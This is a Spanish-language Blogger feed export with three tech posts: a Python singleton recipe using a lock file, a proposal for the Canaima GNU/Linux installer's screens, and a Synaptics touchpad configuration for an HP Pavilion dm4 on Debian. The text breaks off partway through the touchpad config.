<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6887761988295725170</id><updated>2012-01-29T08:01:59.471-08:00</updated><category term='Python'/><category term='Cairo'/><category term='Escritorios'/><category term='Consola'/><category term='GNU/Linux'/><category term='Bases de Datos'/><category term='Samba'/><category term='C/C++'/><category term='Código Fuente'/><category term='PyGTK'/><category term='Tips'/><category term='Móviles'/><category term='PyGame'/><category term='Juegos'/><category term='Tutoriales'/><category term='Canaima'/><category term='Editores'/><category term='Ruby'/><category term='Turpial'/><category term='Instalaciones'/><category term='Qt'/><category term='Otros'/><category term='Ruby on Rails'/><category term='Android'/><category term='Video'/><category term='Configuraciones'/><category term='Webcomic'/><title type='text'>El rincón maldito</title><subtitle type='html'>print "Maldición!"</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>99</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-3406333117939306628</id><published>2012-01-29T08:01:00.000-08:00</published><updated>2012-01-29T08:01:59.484-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Código Fuente'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Implementar un Singleton en Python</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a href="http://en.wikipedia.org/wiki/Singleton_pattern"&gt;Singleton&lt;/a&gt; es un patrón de diseño cuya función es evitar que un objeto pueda ser instanciado más de una vez. En este post traigo una receta simple para implementar el patrón singleton en Python.&lt;br/&gt;&lt;br/&gt;En esta implementación utilizaremos un archivo de bloqueo (lock file) para indicar si la aplicación está en ejecución o no. Python cuenta con el módulo &lt;a href="http://docs.python.org/library/fcntl.html"&gt;fcntl&lt;/a&gt; que nos proporciona una interfaz bastante cómoda para el control de archivos pero está disponible solo para Linux/Unix, eso implica que debemos usar medidas alternativas para Windows.&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Detectar SO e importar módulos&lt;/h2&gt;Lo primero que debemos hacer es detectar el sistema operativo y ejecutar los import correspondientes para cada caso. Usaremos además el módulo &lt;b&gt;tempfile&lt;/b&gt; para generar el lock file como un archivo temporal del sistema.&lt;pre&gt;&lt;code&gt;#!/usr/bin/python2&lt;br /&gt;# -*- coding: utf-8 -*-&lt;br /&gt;&lt;br /&gt;import os&lt;br /&gt;import sys&lt;br /&gt;import tempfile&lt;br /&gt;&lt;br /&gt;OS = None&lt;br /&gt;if sys.platform.startswith('linux'):&lt;br /&gt;    OS = 'linux'&lt;br /&gt;    import fcntl&lt;br /&gt;elif sys.platform.startswith('win32'):&lt;br /&gt;    OS = 'windows'&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Definir la clase Singleton&lt;/h2&gt;Después de detectar el sistema operativo definimos la clase &lt;b&gt;Singleton&lt;/b&gt;. Básicamente, esta clase será la encargada de crear el lock file al inicio o generar una advertencia y termina la ejecución en caso de que el archivo ya exista (es decir, que ya existe una instancia de la aplicación en ejecución).&lt;pre&gt;&lt;code&gt;class Singleton:&lt;br /&gt;    def __init__(self):&lt;br /&gt;        # Variable para almacenar el file descriptor&lt;br /&gt;        self.fd = None&lt;br /&gt;        # Ruta para el lock file en la carpeta temporal del sistema&lt;br /&gt;        self.filepath = os.path.abspath(os.path.join(tempfile.gettempdir(), &lt;br /&gt;            'myapp.pid'))&lt;br /&gt;        &lt;br /&gt;        if OS == 'linux':&lt;br /&gt;            # Para el caso de linux usamos el módulo fcntl para crear el archivo&lt;br /&gt;            # y bloquearlo automáticamente. Si la operación falla es porque el&lt;br /&gt;            # archivo ya existe y está bloqueado.&lt;br /&gt;            self.fd = open(self.filepath, 'w')&lt;br /&gt;            try:&lt;br /&gt;                fcntl.lockf(self.fd, fcntl.LOCK_EX | fcntl.LOCK_NB)&lt;br /&gt;            except IOError:&lt;br /&gt;                self.__exit()&lt;br /&gt;        elif OS == 'windows':&lt;br /&gt;            try:&lt;br /&gt;                # Para el caso windows simplemente creamos el archivo "a mano",&lt;br /&gt;                # pero verificamos primero si el archivo existe e intentamos &lt;br /&gt;                # removerlo (para casos en que la ejecución previa haya sido &lt;br /&gt;                # interrumpida)&lt;br /&gt;                if os.path.exists(self.filepath):&lt;br /&gt;                    os.unlink(self.filepath)&lt;br /&gt;                self.fd = os.open(self.filepath, os.O_CREAT|os.O_EXCL|os.O_RDWR)&lt;br /&gt;            except OSError, err:&lt;br /&gt;                if err.errno == 13:&lt;br /&gt;                    self.__exit()&lt;br /&gt;    &lt;br /&gt;    def __del__(self):&lt;br /&gt;        # Para el caso de windows también debemos destruir el archivo "a mano" &lt;br /&gt;        # al finalizar la ejecución del programa.&lt;br /&gt;        if OS == 'windows':&lt;br /&gt;            if self.fd:&lt;br /&gt;                os.close(self.fd)&lt;br /&gt;                os.unlink(self.filepath)&lt;br /&gt;    &lt;br /&gt;    def __exit(self):&lt;br /&gt;        print 'Ya hay una instancia en ejecución. Saliendo'&lt;br /&gt;        sys.exit(-1)&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;En el __init__ se observa que creamos una variable para almacenar el file descriptor (fd), luego generamos una ruta para el lock file. Posteriormente creamos un lock file con el módulo fcntl (en el caso linux) o creamos un archivo regular (para el caso windows). Adicionalmente, en el caso windows necesitamos hacernos cargo del archivo al finalizar la ejecución, para eso sobreescribimos el método __del__ y colocamos nuestro código. Adicionalmente tenemos la función __exit(), que es la encargada de detener la ejecución del programa de forma elegante.&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Clase de pruebas&lt;/h2&gt;Con los pasos anteriores tenemos lista nuestra implementación simple del patrón singleton. Ahora, ¿Cómo la usamos? Creamos una clase (por ejemplo MyApp) que herede de singleton y ponemos un bucle infinito para que se mantenga haciendo "algo".&lt;pre&gt;&lt;code&gt;class MyApp(Singleton):&lt;br /&gt;    def __init__(self):&lt;br /&gt;        Singleton.__init__(self)&lt;br /&gt;        print 'Ejecutando MyApp'&lt;br /&gt;        # Creamos un bucle infinito solo para mantener la aplicación en&lt;br /&gt;        # ejecución&lt;br /&gt;        while 1:&lt;br /&gt;            continue&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;¿Cómo se vería nuestro script?&lt;/h2&gt;El código completo de nuestro script se vería así:&lt;pre&gt;&lt;code&gt;#!/usr/bin/python2&lt;br /&gt;# -*- coding: utf-8 -*-&lt;br /&gt;&lt;br /&gt;import os&lt;br /&gt;import sys&lt;br /&gt;import tempfile&lt;br /&gt;&lt;br /&gt;OS = None&lt;br /&gt;if sys.platform.startswith('linux'):&lt;br /&gt;    OS = 'linux'&lt;br /&gt;    import fcntl&lt;br /&gt;elif sys.platform.startswith('win32'):&lt;br /&gt;    OS = 'windows'&lt;br /&gt;&lt;br /&gt;class Singleton:&lt;br /&gt;    def __init__(self):&lt;br /&gt;        # Variable para almacenar el file descriptor&lt;br /&gt;        self.fd = None&lt;br /&gt;        # Ruta para el lock file en la carpeta temporal del sistema&lt;br /&gt;        self.filepath = os.path.abspath(os.path.join(tempfile.gettempdir(), &lt;br /&gt;            'myapp.pid'))&lt;br /&gt;        &lt;br /&gt;        if OS == 'linux':&lt;br /&gt;            # Para el caso de linux usamos el módulo fcntl para crear el archivo&lt;br /&gt;            # y bloquearlo automáticamente. Si la operación falla es porque el&lt;br /&gt;            # archivo ya existe y está bloqueado.&lt;br /&gt;            self.fd = open(self.filepath, 'w')&lt;br /&gt;            try:&lt;br /&gt;                fcntl.lockf(self.fd, fcntl.LOCK_EX | fcntl.LOCK_NB)&lt;br /&gt;            except IOError:&lt;br /&gt;                self.__exit()&lt;br /&gt;        elif OS == 'windows':&lt;br /&gt;            try:&lt;br /&gt;                # Para el caso windows simplemente creamos el archivo "a mano",&lt;br /&gt;                # pero verificamos primero si el archivo existe e intentamos &lt;br /&gt;                # removerlo (para casos en que la ejecución previa haya sido &lt;br /&gt;                # interrumpida)&lt;br /&gt;                if os.path.exists(self.filepath):&lt;br /&gt;                    os.unlink(self.filepath)&lt;br /&gt;                self.fd = os.open(self.filepath, os.O_CREAT|os.O_EXCL|os.O_RDWR)&lt;br /&gt;            except OSError, err:&lt;br /&gt;                if err.errno == 13:&lt;br /&gt;                    self.__exit()&lt;br /&gt;    &lt;br /&gt;    def __del__(self):&lt;br /&gt;        # Para el caso de windows también debemos destruir el archivo "a mano" &lt;br /&gt;        # al finalizar la ejecución del programa.&lt;br /&gt;        if OS == 'windows':&lt;br /&gt;            if self.fd:&lt;br /&gt;                os.close(self.fd)&lt;br /&gt;                os.unlink(self.filepath)&lt;br /&gt;    &lt;br /&gt;    def __exit(self):&lt;br /&gt;        print 'Ya hay una instancia en ejecución. Saliendo'&lt;br /&gt;        sys.exit(-1)&lt;br /&gt;&lt;br /&gt;class MyApp(Singleton):&lt;br /&gt;    def __init__(self):&lt;br /&gt;        Singleton.__init__(self)&lt;br /&gt;        print 'Ejecutando MyApp'&lt;br /&gt;        # Creamos un bucle infinito solo para mantener la aplicación en&lt;br /&gt;        # ejecución&lt;br /&gt;        while 1:&lt;br /&gt;            continue&lt;br /&gt;    &lt;br /&gt;if __name__ == '__main__':&lt;br /&gt;    app = MyApp()&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Probando el singleton&lt;/h2&gt;Para probarlo abrimos un terminal, nos colocamos en la carpeta donde esté ubicado nuestro script y lo ejecutamos por primera vez. Eso nos dará como resultado algo como:&lt;pre&gt;&lt;code&gt;$ python myapp.py &lt;br /&gt;Ejecutando MyApp&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;&lt;br/&gt;Abrimos una terminal nueva (sin cerrar la terminal anterior) e intentamos ejecutar la aplicación por segunda vez. Eso nos devolverá:&lt;pre&gt;&lt;code&gt;$ python myapp.py &lt;br /&gt;Ya hay una instancia en ejecución. Saliendo&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;¡Y voilá! Logramos que un script de Python pueda ser ejecutado una sola vez.&lt;br/&gt;&lt;br/&gt;Hay implementaciones más complejas que almacenan el ID del proceso dentro del lock file y cada vez que se intenta ejecutar una nueva instancia se lee el ID y se verifica que realmente exista un proceso en ejecución con ese identificador. Pero como dije al principio, esta es una receta simple, así que as implementaciones más complejas las dejamos como tareas para el lector ;)&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-3406333117939306628?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/3406333117939306628/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=3406333117939306628&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3406333117939306628'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/3406333117939306628'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2012/01/implementar-un-singleton-en-python.html' title='Implementar un Singleton en Python'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-4464993311846558337</id><published>2012-01-28T08:32:00.000-08:00</published><updated>2012-01-28T15:05:01.565-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Canaima'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Mi propuesta para Canaima-Instalador</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;Actualmente estoy colaborando con el desarrollo de &lt;a href="https://gitorious.org/canaima-gnu-linux/canaima-instalador"&gt;canaima-instalador&lt;/a&gt;, una aplicación para &lt;a href="http://canaima.softwarelibre.gob.ve/"&gt;Canaima GNU/Linux&lt;/a&gt; que permitirá al usuario instalar/probar Canaima de una manera fácil e intuitiva, y he decidido hacer una propuesta sobre cómo debe lucir y funcionar el nuevo instalador. La propuesta a continuación.&lt;br /&gt;&lt;br /&gt;&lt;h2&gt;Paso 1: LiveCD&lt;/h2&gt;Lo primero que hace falta cambiar es el menú de inicio del liveCD. Actualmente tenemos una pantalla llena de opciones que, más allá de facilitar el uso, pueden confundir a los usuarios menos experimentados. Mi sugerencia es que el liveCD arranque automáticamente y presente un menú inferior con las posibles opciones para usuarios más experimentados.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-7XF-1sN7xxo/TyQbUmdxe4I/AAAAAAAAAhI/Ox3CVVfcIXI/s1600/step1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://2.bp.blogspot.com/-7XF-1sN7xxo/TyQbUmdxe4I/AAAAAAAAAhI/Ox3CVVfcIXI/s400/step1.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;Paso 2: Bienvenida&lt;/h2&gt;Aquí es donde comienza a ejecutarse canaima-instalador. La idea es que sea tipo OEM, es decir, que no cargue el escritorio sino  lo mínimo necesario para ejecutarse. Se le preguntará al usuario si desea probar la distribución o instalar. Para el primer caso se cierra canaima-instalador y se continúa con la carga del escritorio, para el segundo caso se sigue el flujo normal de la aplicación.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-GsxdB-JZRp0/TyQci3S67-I/AAAAAAAAAhU/xw6_nIKkjO0/s1600/step2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="300" width="400" src="http://4.bp.blogspot.com/-GsxdB-JZRp0/TyQci3S67-I/AAAAAAAAAhU/xw6_nIKkjO0/s400/step2.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;Paso 3: Requisitos&lt;/h2&gt;Se le muestra al usuario cuáles son los requisitos mínimos necesarios para obtener mejores resultados al instalar Canaima. En caso de que no se cumpla con un requisito crítico (por ejemplo, el espacio en disco) la instalación no debería continuar.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-SRoiyjP2myc/TyQdDkA1vWI/AAAAAAAAAhg/aBoFo4kfmdI/s1600/step3.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="300" width="400" src="http://2.bp.blogspot.com/-SRoiyjP2myc/TyQdDkA1vWI/AAAAAAAAAhg/aBoFo4kfmdI/s400/step3.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;Paso 4: Modo de instalación&lt;/h2&gt;Acá (luego de haber analizado el hardware) se le presentan al usuario las distintas opciones que tiene para instalar. En teoría todas deberían ser automáticas excepto la de "Particionamiento Avanzado" que ejecutará una instancia de gparted y bloqueará canaima-instalador hasta que el usuario termine de definir sus particiones. Una vez que el usuario haga clic en "Siguiente" no podrá volver atrás. Acá termina la primera fase de instalación y comienza el copiado de los archivos en el disco duro en segundo plano. La idea es aprovechar el tiempo, mientras se copian los archivos solicitamos al usuario el resto de la información y una vez terminada la copia se ejecutan las tareas correspondientes. De esta forma logramos minimizar considerablemente el tiempo de instalación (tal como lo hace Ubuntu).&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-r7d5E2TIbcw/TyQdokFzm4I/AAAAAAAAAhs/w9-RyFWtmbg/s1600/step4.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="300" width="400" src="http://4.bp.blogspot.com/-r7d5E2TIbcw/TyQdokFzm4I/AAAAAAAAAhs/w9-RyFWtmbg/s400/step4.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;Paso 5: Configuración de teclado&lt;/h2&gt;Como expliqué en el punto anterior, mientras se copian los archivos en segundo plano solicitamos el resto de la información al usuario. Acá se le pedirá que seleccione la distribución del teclado. Es importante observar que el botón de "Anterior" no estará disponible en este paso.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-yoeNSpeJPqA/TyQgS-2lSAI/AAAAAAAAAiE/E6ANS4brUNg/s1600/step6.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="300" width="400" src="http://3.bp.blogspot.com/-yoeNSpeJPqA/TyQgS-2lSAI/AAAAAAAAAiE/E6ANS4brUNg/s400/step6.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;Paso 6: Configuración de usuarios&lt;/h2&gt;En esta fase se le pedirán los datos de las cuentas (root y usuario regular). Es importante habilitar un link (o botón) de ayuda donde se pueda explicar qué significa root y por qué es importante definir esa contraseña. Es importante recalcar que si el usuario no ha terminado de introducir la información complementaria y la copia de archivos finaliza entonces las tareas en segundo plano se detendrán hasta que se culmine esta fase.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-1PnpUvPlAuM/TyQeuotuE4I/AAAAAAAAAh4/Sax0ZzkKroY/s1600/step6.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="300" width="400" src="http://3.bp.blogspot.com/-1PnpUvPlAuM/TyQeuotuE4I/AAAAAAAAAh4/Sax0ZzkKroY/s400/step6.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;Paso 7: Imágenes aleatorias sobre las bondades de Canaima&lt;/h2&gt;Al igual que Ubuntu y otros sistemas operativos, podemos mostrar una serie de imágenes aleatorias que informen al usuario sobre las bondades de Canaima GNU/Linux y del Software Libre mientras termina la instalación.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-_NJMwNK0qBQ/TyQiJlmOakI/AAAAAAAAAiQ/fYci01F3azM/s1600/step7.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="300" width="400" src="http://3.bp.blogspot.com/-_NJMwNK0qBQ/TyQiJlmOakI/AAAAAAAAAiQ/fYci01F3azM/s400/step7.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;h2&gt;Paso 8: Fin de la instalación&lt;/h2&gt;Al finalizar todo exitosamente se le mostrará un pequeño diálogo al usuario para que reinicie el equipo y comience a disfrutar de las bondandes del SL.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-h_dyVEoP9yg/TyQiZ9oybAI/AAAAAAAAAic/cyAOtHb0_vM/s1600/step8.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="300" width="400" src="http://4.bp.blogspot.com/-h_dyVEoP9yg/TyQiZ9oybAI/AAAAAAAAAic/cyAOtHb0_vM/s400/step8.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Bueno, esta es mi idea de lo que debería ser un instalador fácil e intuitivo para Canaima GNU/Linux. Se escuchan comentariosUpdate para los haters: Sí, mi propuesta está basada casi enteramente en el instalador de Ubuntu porque me parece un excelente instalador ¿Cuál es el problema con eso?&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-4464993311846558337?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/4464993311846558337/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=4464993311846558337&amp;isPopup=true' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4464993311846558337'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4464993311846558337'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2012/01/mi-propuesta-para-canaima-instalador.html' title='Mi propuesta para Canaima-Instalador'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-7XF-1sN7xxo/TyQbUmdxe4I/AAAAAAAAAhI/Ox3CVVfcIXI/s72-c/step1.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-7319768467489278167</id><published>2011-10-31T17:00:00.000-07:00</published><updated>2011-10-31T18:59:22.490-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Consola'/><category scheme='http://www.blogger.com/atom/ns#' term='Configuraciones'/><category scheme='http://www.blogger.com/atom/ns#' term='GNU/Linux'/><title type='text'>Configurar el Touchpad Synaptics de una HP Pavilion dm4 en Debian</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;En un artículo anterior expliqué &lt;a href="http://damncorner.blogspot.com/2011/10/configurar-video-intel-i915-kms-en.html"&gt;cómo configurar el video Intel i915 con KMS en una HP Pavilion dm4&lt;/a&gt;. Esta vez explicaré cómo configurar el Touchpad Synaptics de esa misma laptop.&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Leer el manual&lt;/h2&gt;Lo primero que debes hacer si deseas configurar correctamente el Touchpad es leer el manual (&lt;a href="http://es.wikipedia.org/wiki/RTFM"&gt;RTFM&lt;/a&gt;).&lt;code&gt;&lt;pre&gt;$ man synaptics&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Yo configuré el touchpad a mi gusto, así que puedes probarlo y si no te gusta lo adaptas al tuyo. Sin embargo es una tarea de ensayo y error que no podrás completar a menos que conozcas todas las opciones que tienes disponibles.&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Dependencias&lt;/h2&gt;Lo único que necesitamos es un Xorg bien configurado y los drivers synaptics. Para instalar los drivers ejecutamos:&lt;code&gt;&lt;pre&gt;# aptitude install xserver-xorg-input-synaptics&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Entender cómo funciona el Touchpad&lt;/h2&gt;Básicamente no es un Touchpad, es un ClickPad y eso lo hace un poco especial. ¿Diferencias? Pues la superficie táctil también funciona como botón, que actua como uno u otro (left, right) dependiendo de la zona que se presione. No tenemos un área táctil con unos botones separados, tenemos con todo incluido, eso debe quedar &lt;b&gt;muy&lt;/b&gt; claro.&lt;br/&gt;&lt;br/&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-JVY7vsd-wd0/TqsNC3o8lyI/AAAAAAAAAfg/QoE3jTEQQg4/s1600/touchpad.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" height="240" width="320" src="http://1.bp.blogspot.com/-JVY7vsd-wd0/TqsNC3o8lyI/AAAAAAAAAfg/QoE3jTEQQg4/s320/touchpad.png" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br/&gt;&lt;br/&gt;&lt;h2&gt;Configuración&lt;/h2&gt;Xorg provee una serie de plantillas predeterminadas para la configuración de dispositivos. Estas plantillas se encuentran en &lt;b&gt;/usr/share/X11/xorg.conf.d/&lt;/b&gt; y basta con copiar a &lt;b&gt;/etc/X11/xorg.conf.d/&lt;/b&gt; la que necesitemos y comenzar a modificarla. Xorg se encargará de cargar estos valores luego de los valores predeterminados. Para nuestro caso usaremos la plantilla &lt;b&gt;50-synaptics.conf&lt;/b&gt;.&lt;br/&gt;&lt;br/&gt;&lt;code&gt;&lt;pre&gt;# mkdir /etc/X11/xorg.conf.d/&lt;br /&gt;# cp /usr/share/X11/xorg.conf.d/50-synaptics.conf /etc/X11/xorg.conf.d/&lt;/pre&gt;&lt;/code&gt;&lt;br/&gt;Lo que haremos será modificar el &lt;b&gt;InputClass&lt;/b&gt; para agregar los parámetros que deseamos configurar. En el manual de synaptics tenemos bien documentados cada una de las opciones con su descripción y posibles valores. &lt;br/&gt;&lt;br/&gt;Mi configuración quedó así:&lt;br/&gt;&lt;code&gt;&lt;pre&gt;Section "InputClass"&lt;br /&gt;    Identifier  "touchpad catchall"&lt;br /&gt;    Driver      "synaptics"&lt;br /&gt;    MatchIsTouchpad "on"&lt;br /&gt;    MatchDevicePath "/dev/input/event*" &lt;br /&gt;        Option      "Protocol" "auto-dev"&lt;br /&gt;        Option      "SHMConfig" "true"&lt;br /&gt;        # Edges&lt;br /&gt;        Option      "LeftEdge" "1500"&lt;br /&gt;        Option      "RightEdge" "5200"&lt;br /&gt;        Option      "TopEdge" "1350"&lt;br /&gt;        Option      "BottomEdge" "3500"&lt;br /&gt;        # Finger press&lt;br /&gt;        Option      "FingerLow" "24"&lt;br /&gt;        Option      "FingerHigh" "29"&lt;br /&gt;        Option      "FingerPress" "255"&lt;br /&gt;        # Taps time&lt;br /&gt;        Option      "MaxTapTime" "180"&lt;br /&gt;        Option      "MaxTapMove" "220"&lt;br /&gt;        Option      "MaxDoubleTapTime" "180"&lt;br /&gt;        Option      "SingleTapTimeout" "180"&lt;br /&gt;        Option      "ClickTime" "100"&lt;br /&gt;        Option      "FastTaps" "100"&lt;br /&gt;        # Emulate&lt;br /&gt;        Option      "EmulateMidButtonTime" "75"&lt;br /&gt;        Option      "EmulateTwoFingerMinZ" "70"&lt;br /&gt;        Option      "EmulateTwoFingerMinW" "5"&lt;br /&gt;        # Scrolling&lt;br /&gt;        Option      "VertScrollDelta" "100"&lt;br /&gt;        Option      "HorizScrollDelta" "0"&lt;br /&gt;        Option      "VertEdgeScroll" "1"&lt;br /&gt;        Option      "HorizEdgeScroll" "0"&lt;br /&gt;        Option      "CornerCoasting" "0"&lt;br /&gt;        Option      "VertTwoFingerScroll" "1"&lt;br /&gt;        Option      "HorizTwoFingerScroll" "1"&lt;br /&gt;        # Pointer speed&lt;br /&gt;        Option      "MinSpeed" "0.1"&lt;br /&gt;        Option      "MaxSpeed" "1.0"&lt;br /&gt;        Option      "AccelFactor" "0.75"&lt;br /&gt;        Option      "TrackstickSpeed" "0"&lt;br /&gt;        Option      "EdgeMotionMinZ" "29"&lt;br /&gt;        Option      "EdgeMotionMaxZ" "159"&lt;br /&gt;        Option      "EdgeMotionMinSpeed" "1"&lt;br /&gt;        Option      "EdgeMotionMaxSpeed" "401"&lt;br /&gt;        Option      "EdgeMotionUseAlways" "0"&lt;br /&gt;        # Scrolling flags&lt;br /&gt;        Option      "UpDownScrolling" "1"&lt;br /&gt;        Option      "LeftRightScrolling" "1"&lt;br /&gt;        Option      "UpDownScrollRepeat" "1"&lt;br /&gt;        Option      "LeftRightScrollRepeat" "1"&lt;br /&gt;        Option      "ScrollButtonRepeat" "100"&lt;br /&gt;        # Touchpad mouse on/off&lt;br /&gt;        Option      "TouchpadOff" "0"&lt;br /&gt;        Option      "GuestMouseOff" "0"&lt;br /&gt;        # Dragging&lt;br /&gt;        Option      "LockedDrags" "0"&lt;br /&gt;        Option      "LockedDragsTimeout" "5000"&lt;br /&gt;        # Corners&lt;br /&gt;        Option      "RTCornerButton" "0"&lt;br /&gt;        Option      "RBCornerButton" "2"&lt;br /&gt;        Option      "LTCornerButton" "0"&lt;br /&gt;        Option      "LBCornerButton" "1"&lt;br /&gt;        # Tap&lt;br /&gt;        Option      "TapButton1" "1"&lt;br /&gt;        Option      "TapButton2" "3"&lt;br /&gt;        Option      "TapButton3" "2"&lt;br /&gt;        # Click&lt;br /&gt;        Option      "ClickFinger1" "1"&lt;br /&gt;        Option      "ClickFinger2" "0"&lt;br /&gt;        Option      "ClickFinger3" 